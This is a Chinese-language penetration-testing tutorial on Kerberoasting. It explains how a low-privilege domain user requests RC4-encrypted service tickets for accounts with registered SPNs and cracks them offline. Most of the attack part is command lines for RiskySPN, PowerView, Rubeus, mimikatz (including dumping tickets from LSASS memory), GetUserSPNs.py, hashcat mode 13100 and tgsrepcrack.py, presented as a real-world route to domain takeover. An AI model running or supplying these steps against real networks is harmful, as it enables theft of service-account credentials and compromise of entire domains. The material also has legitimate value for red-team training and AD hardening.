定义:攻击者通过正常域用户密码认证获取 TGT,利用该 TGT 请求指定 SPN 的 ST 时指定 易破解的 RC4_HMAC_MD5 加密类型。若 TGT 有效,KDC 会用注册该 SPN 的账户 Hash 加密 ST 返回,攻击者提取后可离线爆破出该账户明文密码,如果该服务在域内被配置为高权限运行,那么攻击者可能接管整个域。
攻击条件:
- 攻击者拥有一个有效的域用户账户和密码(能正常申请 TGT)
- 目标服务账户在 AD 中注册了 SPN(Service Principal Name)
- 攻击者网络可达域控(KDC),能与 88 端口通信
- 服务账户密码强度较弱(可被字典爆破)
- 不需要管理员权限,普通域用户即可请求任意 SPN 的 ST
实战场景:
在域环境里,拿到普通域用户权限后,找注册了 SPN 的服务账户,请求其 TGS 服务票据并离线爆破密码。
攻击过程:
查询域内注册于域用户下的SPN
工具1:RiskySPN
RiskySPN是一个PowerShell脚本的集合,专检测与SPN相关的账户是否滥用,自动识别弱密码服务票据
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Import-Module .\RiskySPN.psm1
Get-RiskySPN
Find-PotentiallyCrackableAccounts
Get-TGSCipher -SPN "MSSQLSVC/server01.域名.com" -Format hashcat
Find-PotentiallyCrackableAccounts | Get-TGSCipher -Format hashcat
|
工具2:PowerView.ps1
1 2 3 4 5 6 7 8
| Import-Module .\PowerView.ps1
Get-NetUser -SPN | select samaccountname, serviceprincipalname
Get-DomainUser -SPN | select samaccountname, serviceprincipalname
|
请求指定SPN的ST
Ruberus
1 2 3 4 5
| Rubeus.exe kerberoast /spn:服务名/主机名.域名.com /outfile:hash.txt
Rubeus.exe kerberoast /outfile:hash.txt
|
mimikatz
1 2 3 4 5
| kerberos::ask /target:服务名/主机名.域名.com
kerberos::list /export
|
GetUserSPNs.py
1 2 3 4 5
| python GetUserSPNs.py 域名/用户名:密码 -request -spn 服务名/主机名.域名.com -outputfile hash.txt
python GetUserSPNs.py 域名/用户名:密码 -request -outputfile hash.txt
|
导出请求的ST
查看内存中的票据
用cmd:
导出内存中的票据
mimikatz:
(在mimikatz同目录下直接导出.kirbi文件)
补充:从 LSASS 内存中提取(mimikatz 另一种方式)
1 2
| # 从LSASS进程内存中提取所有Kerberos票据 sekurlsa::kerberos /export
|
这种方式需要管理员权限,能拿到所有登录用户的票据,包括别人的
Rubeus :
1 2
| Rubeus.exe dump /outfile:tickets
|
GetUserSPNs.py
1 2
| python GetUserSPNs.py 域名/用户名:密码 -request -outputfile hash.txt
|
离线爆破ST
格式转换(kirbi → hashcat )
用 Rubeus 转换
1
| Rubeus.exe kerberoast /spn:服务名/主机名.域名.com /outfile:hash.txt
|
用hashcat爆破
用Rubeus或GetUserSPNs.py导出的hash.txt用以下命令:
1
| hashcat -m 13100 hash.txt rockyou.txt
|
用 tgsrepcrack.py脚本
对mimikatz导出的.kirbi票据进行爆破:
1
| python tgsrepcrack.py rockyou.txt ticket.kirbi
|
AS-REP Roasting 的 hash,hashcat 用 -m 18200,Kerberoasting 的用 -m 13100,别搞混了